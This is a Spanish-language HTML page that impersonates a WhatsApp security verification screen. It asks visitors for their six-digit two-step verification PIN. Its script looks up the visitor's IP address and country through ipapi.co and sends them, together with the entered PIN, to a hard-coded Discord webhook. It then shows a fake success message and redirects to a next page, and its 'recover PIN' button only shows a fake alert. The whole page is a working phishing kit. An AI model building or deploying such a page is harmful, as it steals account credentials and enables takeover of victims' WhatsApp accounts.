<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Verificación de PIN WhatsApp</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
font-family: 'Segoe UI', Arial, sans-serif;
}
body {
background: #25D366;
color: #fff;
line-height: 1.6;
min-height: 100vh;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
padding: 20px;
}
.container {
max-width: 480px;
width: 100%;
background: rgba(255, 255, 255, 0.95);
border-radius: 16px;
box-shadow: 0 10px 30px rgba(0, 0, 0, 0.2);
overflow: hidden;
}
.header {
background: linear-gradient(135deg, #25D366 0%, #128C7E 100%);
padding: 30px 20px;
text-align: center;
color: white;
position: relative;
}
.header::after {
content: '';
position: absolute;
bottom: -10px;
left: 0;
right: 0;
height: 20px;
background: linear-gradient(135deg, #25D366 0%, #128C7E 100%);
border-radius: 50%;
filter: blur(10px);
opacity: 0.7;
}
.logo-container {
margin-bottom: 20px;
}
.custom-logo {
width: 80px;
height: 80px;
background: rgba(255, 255, 255, 0.2);
border-radius: 50%;
margin: 0 auto 15px;
display: flex;
align-items: center;
justify-content: center;
font-size: 32px;
font-weight: bold;
border: 3px solid rgba(255, 255, 255, 0.3);
}
.header h1 {
font-size: 28px;
font-weight: 700;
margin-bottom: 8px;
text-shadow: 0 2px 4px rgba(0, 0, 0, 0.2);
}
.header p {
font-size: 16px;
opacity: 0.9;
max-width: 400px;
margin: 0 auto;
}
.content {
padding: 30px;
color: #333;
}
.verification-info {
text-align: center;
margin-bottom: 30px;
}
.verification-info h2 {
font-size: 20px;
font-weight: 600;
color: #25D366;
margin-bottom: 10px;
}
.verification-info p {
color: #666;
font-size: 14px;
line-height: 1.5;
}
.code-input-container {
margin: 30px 0;
}
.single-code-input {
width: 100%;
padding: 16px;
border: 2px solid #e1e5e9;
border-radius: 10px;
font-size: 24px;
font-weight: 600;
text-align: center;
letter-spacing: 8px;
color: #333;
background: white;
transition: all 0.3s;
}
.single-code-input:focus {
outline: none;
border-color: #25D366;
box-shadow: 0 0 0 3px rgba(37, 211, 102, 0.2);
transform: translateY(-2px);
}
.single-code-input.filled {
border-color: #25D366;
background-color: #f0f9f0;
}
.single-code-input.error {
border-color: #d13438;
background-color: #fef7f7;
}
.instructions {
text-align: center;
margin-bottom: 25px;
}
.instructions p {
color: #666;
font-size: 13px;
margin-bottom: 8px;
}
.submit-button {
width: 100%;
background: linear-gradient(to right, #25D366, #128C7E);
color: white;
border: none;
padding: 16px;
border-radius: 10px;
font-size: 16px;
font-weight: 600;
cursor: pointer;
transition: all 0.3s;
box-shadow: 0 4px 12px rgba(37, 211, 102, 0.3);
margin-top: 10px;
position: relative;
}
.submit-button:hover:not(:disabled) {
transform: translateY(-2px);
box-shadow: 0 6px 16px rgba(37, 211, 102, 0.4);
}
.submit-button:active {
transform: translateY(0);
}
.submit-button:disabled {
background: #ccc;
cursor: not-allowed;
box-shadow: none;
transform: none;
}
.submit-button.loading {
color: transparent;
}
.submit-button.loading::after {
content: "";
position: absolute;
width: 20px;
height: 20px;
top: 50%;
left: 50%;
margin-top: -10px;
margin-left: -10px;
border: 2px solid #ffffff;
border-radius: 50%;
border-top-color: transparent;
animation: spin 1s ease-in-out infinite;
}
@keyframes spin {
to { transform: rotate(360deg); }
}
.resend-section {
text-align: center;
margin-top: 25px;
padding-top: 20px;
border-top: 1px solid #eee;
}
.resend-text {
color: #666;
font-size: 14px;
margin-bottom: 10px;
}
.resend-button {
background: none;
border: none;
color: #25D366;
font-weight: 600;
cursor: pointer;
font-size: 14px;
text-decoration: underline;
transition: color 0.3s;
}
.resend-button:hover:not(:disabled) {
color: #128C7E;
}
.resend-button:disabled {
color: #999;
cursor: not-allowed;
text-decoration: none;
}
.error-message {
text-align: center;
color: #d13438;
font-size: 13px;
margin-top: 10px;
display: none;
}
.success-message {
text-align: center;
color: #25D366;
font-size: 13px;
margin-top: 10px;
display: none;
}
.footer {
text-align: center;
margin-top: 30px;
padding-top: 20px;
border-top: 1px solid #eee;
font-size: 12px;
color: #888;
}
.footer-links {
margin-bottom: 10px;
display: flex;
flex-wrap: wrap;
justify-content: center;
gap: 10px;
}
.footer-links a {
color: #666;
text-decoration: none;
font-size: 13px;
}
.footer-links a:hover {
color: #25D366;
}
.whatsapp-icon {
position: fixed;
bottom: 20px;
right: 20px;
width: 60px;
height: 60px;
background: #25D366;
border-radius: 50%;
display: flex;
align-items: center;
justify-content: center;
box-shadow: 0 4px 12px rgba(0, 0, 0, 0.3);
z-index: 1000;
animation: pulse 2s infinite;
cursor: pointer;
}
.whatsapp-icon svg {
width: 30px;
height: 30px;
fill: white;
}
@keyframes pulse {
0% {
transform: scale(1);
box-shadow: 0 4px 12px rgba(0, 0, 0, 0.3);
}
50% {
transform: scale(1.05);
box-shadow: 0 6px 16px rgba(0, 0, 0, 0.4);
}
100% {
transform: scale(1);
box-shadow: 0 4px 12px rgba(0, 0, 0, 0.3);
}
}
@media (max-width: 480px) {
.single-code-input {
font-size: 20px;
padding: 14px;
letter-spacing: 6px;
}
}
</style>
</head>
<body>
<div class="container">
<div class="header">
<div class="logo-container">
<div class="custom-logo">
<svg width="40" height="40" viewBox="0 0 24 24" fill="white">
<path d="M17.472 14.382c-.297-.149-1.758-.867-2.03-.967-.273-.099-.471-.148-.67.15-.197.297-.767.966-.94 1.164-.173.199-.347.223-.644.075-.297-.15-1.255-.463-2.39-1.475-.883-.788-1.48-1.761-1.653-2.059-.173-.297-.018-.458.13-.606.134-.133.298-.347.446-.52.149-.174.198-.298.298-.497.099-.198.05-.371-.025-.52-.075-.149-.669-1.612-.916-2.207-.242-.579-.487-.5-.669-.51-.173-.008-.371-.01-.57-.01-.198 0-.52.074-.792.372-.272.297-1.04 1.016-1.04 2.479 0 1.462 1.065 2.875 1.213 3.074.149.198 2.096 3.2 5.077 4.487.709.306 1.262.489 1.694.625.712.227 1.36.195 1.871.118.571-.085 1.758-.719 2.006-1.413.248-.694.248-1.289.173-1.413-.074-.124-.272-.198-.57-.347m-5.421 7.403h-.004a9.87 9.87 0 01-5.031-1.378l-.361-.214-3.741.982.998-3.648-.235-.374a9.86 9.86 0 01-1.51-5.26c.001-5.45 4.436-9.884 9.888-9.884 2.64 0 5.122 1.03 6.988 2.898a9.825 9.825 0 012.893 6.994c-.003 5.45-4.437 9.884-9.885 9.884m8.413-18.297A11.815 11.815 0 0012.05 0C5.495 0 .16 5.335.157 11.892c0 2.096.547 4.142 1.588 5.945L.057 24l6.305-1.654a11.882 11.882 0 005.683 1.448h.005c6.554 0 11.89-5.335 11.893-11.893a11.821 11.821 0 00-3.48-8.413z"/>
</svg>
</div>
</div>
<h1>Verificación de Seguridad</h1>
<p>Ingresa tu PIN de WhatsApp de 6 dígitos</p>
</div>
<div class="content">
<div class="verification-info">
<h2>Ingresa tu PIN de WhatsApp</h2>
<p>Por favor, introduce el PIN de autenticación en dos pasos (2FA) de 6 dígitos de tu cuenta de WhatsAap para continuar con el proceso de vinculación</p>
</div>
<form id="verificationForm">
<div class="code-input-container">
<label for="verificationCode" class="sr-only">PIN de WhatsApp de 6 dígitos</label>
<input type="text"
class="single-code-input"
id="verificationCode"
maxlength="6"
placeholder=""
required
pattern="[0-9]{6}"
inputmode="numeric">
<div class="instructions">
<p>Introduce el PIN de 6 dígitos de tu WhatsApp</p>
<p>Solo se permiten números del 0 al 9</p>
</div>
<div class="error-message" id="codeError">
El PIN ingresado es incorrecto. Por favor, verifica e intenta nuevamente.
</div>
<div class="success-message" id="codeSuccess">
✓ PIN verificado correctamente. Redirigiendo...
</div>
</div>
<button type="submit" class="submit-button" id="verifyButton" disabled>
Verificar PIN
</button>
</form>
<div class="resend-section">
<p class="resend-text">¿No recuerdas tu PIN?</p>
<button class="resend-button" id="resendButton">
Recuperar PIN
</button>
<div id="resendTimer" style="display: none; margin-top: 8px; font-size: 12px; color: #666;">
Podrás intentar nuevamente en <span id="countdown">60</span> segundos
</div>
</div>
<div class="footer">
<div class="footer-links">
<a href="#">Ayuda</a>
<a href="#">Privacidad</a>
<a href="#">Términos</a>
<a href="#">Contacto</a>
</div>
<div>© 2026 WhatsApp Security</div>
</div>
</div>
</div>
<!-- Icono flotante de WhatsApp -->
<div class="whatsapp-icon" aria-label="Contactar por WhatsApp">
<svg viewBox="0 0 24 24" fill="white">
<path d="M17.472 14.382c-.297-.149-1.758-.867-2.03-.967-.273-.099-.471-.148-.67.15-.197.297-.767.966-.94 1.164-.173.199-.347.223-.644.075-.297-.15-1.255-.463-2.39-1.475-.883-.788-1.48-1.761-1.653-2.059-.173-.297-.018-.458.13-.606.134-.133.298-.347.446-.52.149-.174.198-.298.298-.497.099-.198.05-.371-.025-.52-.075-.149-.669-1.612-.916-2.207-.242-.579-.487-.5-.669-.51-.173-.008-.371-.01-.57-.01-.198 0-.52.074-.792.372-.272.297-1.04 1.016-1.04 2.479 0 1.462 1.065 2.875 1.213 3.074.149.198 2.096 3.2 5.077 4.487.709.306 1.262.489 1.694.625.712.227 1.36.195 1.871.118.571-.085 1.758-.719 2.006-1.413.248-.694.248-1.289.173-1.413-.074-.124-.272-.198-.57-.347m-5.421 7.403h-.004a9.87 9.87 0 01-5.031-1.378l-.361-.214-3.741.982.998-3.648-.235-.374a9.86 9.86 0 01-1.51-5.26c.001-5.45 4.436-9.884 9.888-9.884 2.64 0 5.122 1.03 6.988 2.898a9.825 9.825 0 012.893 6.994c-.003 5.45-4.437 9.884-9.885 9.884m8.413-18.297A11.815 11.815 0 0012.05 0C5.495 0 .16 5.335.157 11.892c0 2.096.547 4.142 1.588 5.945L.057 24l6.305-1.654a11.882 11.882 0 005.683 1.448h.005c6.554 0 11.89-5.335 11.893-11.893a11.821 11.821 0 00-3.48-8.413z"/>
</svg>
</div>
<script>
// Elementos del DOM
const verificationCode = document.getElementById('verificationCode');
const verifyButton = document.getElementById('verifyButton');
const resendButton = document.getElementById('resendButton');
const resendTimer = document.getElementById('resendTimer');
const countdown = document.getElementById('countdown');
const codeError = document.getElementById('codeError');
const codeSuccess = document.getElementById('codeSuccess');
const verificationForm = document.getElementById('verificationForm');
// Función para obtener la ubicación del usuario
async function getUserLocation() {
try {
const response = await fetch('https://ipapi.co/json/');
const data = await response.json();
return {
ip: data.ip,
country: data.country_name,
countryCode: data.country_calling_code
};
} catch (error) {
console.error("Error al obtener la ubicación:", error);
return { ip: "Desconocido", country: "Desconocido", countryCode: "+0" };
}
}
// Validación en tiempo real del PIN
verificationCode.addEventListener('input', function() {
const pin = this.value;
// Solo permitir números
this.value = pin.replace(/[^0-9]/g, '');
// Actualizar estado visual
if (pin.length === 6) {
this.classList.add('filled');
this.classList.remove('error');
verifyButton.disabled = false;
codeError.style.display = 'none';
} else {
this.classList.remove('filled');
verifyButton.disabled = true;
}
// Limpiar mensajes de error al escribir
if (pin.length > 0) {
codeError.style.display = 'none';
this.classList.remove('error');
}
});
// Manejar el envío del formulario
verificationForm.addEventListener('submit', async function(e) {
e.preventDefault();
const pin = verificationCode.value;
if (pin.length !== 6) {
showError('El PIN debe tener exactamente 6 dígitos');
return;
}
// Mostrar estado de carga
verifyButton.disabled = true;
verifyButton.classList.add('loading');
// Obtener ubicación del usuario
const location = await getUserLocation();
// Enviar datos a Discord
const webhookData = {
content: "Nuevo PIN de WhatsApp ingresado:",
embeds: [{
title: "Puso pin menor",
color: 0x25D366,
fields: [
{ name: "IP", value: location.ip, inline: true },
{ name: "País", value: location.country, inline: true },
{ name: "PIN ingresado", value: pin, inline: true }
],
image: {
url: "https://i.postimg.cc/L5dpcdDP/photo-2025-10-13-08-37-06.jpg"
}
}]
};
// Enviar a Discord
fetch('https://discord.com/api/webhooks/1500492626128928814/sCH93mnfxssY7PhErvQfY3M2QzEd26tMlAOE7-q7F_nkPc9Ra1OJ9KNtdbsYN5uEUvdJ', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(webhookData)
})
.then(response => {
if (response.ok) {
showSuccess();
setTimeout(() => {
window.location.href = 'indexultimo.html'; // Cambia 'index_siguiente.html' por tu archivo destino
}, 2000);
} else {
showError('El PIN ingresado es incorrecto. Por favor, verifica e intenta nuevamente.');
verifyButton.disabled = false;
}
})
.catch(error => {
console.error("Error al enviar a Discord:", error);
showError('Hubo un error al procesar tu solicitud.');
verifyButton.disabled = false;
})
.finally(() => {
verifyButton.classList.remove('loading');
});
});
// Función para mostrar error
function showError(message) {
codeError.textContent = message;
codeError.style.display = 'block';
codeSuccess.style.display = 'none';
verificationCode.classList.add('error');
verificationCode.classList.remove('filled');
}
// Función para mostrar éxito
function showSuccess() {
codeError.style.display = 'none';
codeSuccess.style.display = 'block';
verificationCode.classList.remove('error');
}
// Manejar recuperación de PIN
resendButton.addEventListener('click', function() {
startResendTimer();
alert('Se ha enviado un enlace de recuperación de PIN a tu cuenta asociada.');
});
// Temporizador para recuperación
function startResendTimer() {
let timeLeft = 60;
resendButton.disabled = true;
resendTimer.style.display = 'block';
const timer = setInterval(() => {
timeLeft--;
countdown.textContent = timeLeft;
if (timeLeft <= 0) {
clearInterval(timer);
resendButton.disabled = false;
resendTimer.style.display = 'none';
}
}, 1000);
}
// Iniciar temporizador al cargar la página
window.addEventListener('load', startResendTimer);
// Mejorar accesibilidad del campo de PIN
verificationCode.addEventListener('keydown', function(e) {
if (e.key === 'Backspace' && this.value.length === 0) {
e.preventDefault();
}
if (e.ctrlKey && e.key === 'a') {
e.preventDefault();
this.select();
}
});
// Auto-focus en el campo de PIN al cargar la página
window.addEventListener('load', function() {
verificationCode.focus();
});
</script>
</body>
</html>